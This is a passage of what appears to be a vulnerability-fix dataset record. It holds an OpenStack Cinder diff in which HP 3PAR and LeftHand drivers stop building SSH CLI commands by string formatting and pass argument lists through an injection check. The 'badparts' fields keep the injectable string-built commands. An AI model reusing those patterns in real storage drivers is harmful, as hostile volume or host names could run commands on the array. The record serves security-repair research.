self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list):\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_fc.py b/cinder/volume/drivers/san/hp/hp_3par_fc.py\nindex f9c46071b..f852f5a3c 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_fc.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_fc.py\n@@ -196,25 +196,31 @@ def terminate_connection(self, volume, connector, **kwargs):\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\nindex c0d2f9c36..3cd6bea78 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n@@ -261,17 +261,17 @@ def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n@@ -349,7 +349,7 @@ def _get_ip_using_nsp(self, nsp):\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n@@ -361,7 +361,7 @@ def _get_active_nsp(self, hostname):\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\ndiff --git a/cinder/volume/drivers/san/hp_lefthand.py b/cinder/volume/drivers/san/hp_lefthand.py\nindex 0a5d02f7c..7fea86a38 100644\n--- a/cinder/volume/drivers/san/hp_lefthand.py\n+++ b/cinder/volume/drivers/san/hp_lefthand.py\n@@ -59,12 +59,11 @@ def __init__(self, *args, **kwargs):\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "message": "", "files": {"/cinder/tests/test_hp3par.py": {"changes": [{"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n", "add": 4, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -add fakehost '", " '123456789012345 123456789054321')", " show_host_cmd = 'showhost -verbose fakehost'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',", " '123456789054321']", " show_host_cmd = ['showhost', '-verbose', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -add fakehost '", " 'iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',", " 'iqn.1993-08.org.debian:01:222']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -host fakehost'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'", " show_vlun_cmd = 'showvlun -a -host fakehost'", " show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']", " show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']", " show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_common.py": {"changes": [{"diff": "\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"setwsapi -sru high\", None)"], "goodparts": [" self._cli_run(['setwsapi', '-sru', 'high'])"]}, {"diff": "\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),", " None)"], "goodparts": [" self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])"]}, {"diff": "\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n", "add": 1, "remove": 10, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _cli_run(self, verb, cli_args):", " cli_arg_strings = []", " if cli_args:", " for k, v in cli_args.items():", " if k == '':", " cli_arg_strings.append(\" %s\" % k)", " else:", " cli_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cli_arg_strings)"], "goodparts": [" def _cli_run(self, cmd):"]}, {"diff": "\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _run_ssh(self, command, check_exit=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}, {"diff": "\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('removehost %s' % hostname, None)", " out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)"], "goodparts": [" self._cli_run(['removehost', hostname])", " out = self._cli_run(['createvlun', volume, 'auto', hostname])"]}, {"diff": "\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -verbose %s' % (hostname), None)"], "goodparts": [" out = self._cli_run(['showhost', '-verbose', hostname])"]}, {"diff": "\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport', None)"], "goodparts": [" out = self._cli_run(['showport'])"]}, {"diff": "\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport -iscsi', None)"], "goodparts": [" out = self._cli_run(['showport', '-iscsi'])"]}, {"diff": "\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" result = self._cli_run('showport -iscsiname', None)"], "goodparts": [" result = self._cli_run(['showport', '-iscsiname'])"]}, {"diff": "\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n", "add": 7, "remove": 11, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('setqos %svvset:%s' %", " (cli_qos_string, vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('createvvset -domain %s %s' % (domain,", " vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)", " self._cli_run('removevvset -f %s' % (vvs_name), None)", " self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)"], "goodparts": [" self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['createvvset', '-domain', domain, vvs_name])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])", " self._cli_run(['removevvset', '-f', vvs_name])", " self._cli_run(['removevvset', '-f', vvs_name, volume_name])"]}, {"diff": "\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n", "add": 6, "remove": 6, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = 'createvvcopy -p %s -online ' % src_name", " cmd += '-snp_cpg %s ' % snap_cpg", " cmd += '-tpvv '", " cmd += cpg + ' '", " cmd += dest_name", " self._cli_run(cmd, None)"], "goodparts": [" cmd = ['createvvcopy', '-p', src_name, '-online']", " cmd.extend(['-snp_cpg', snap_cpg])", " cmd.append('-tpvv')", " 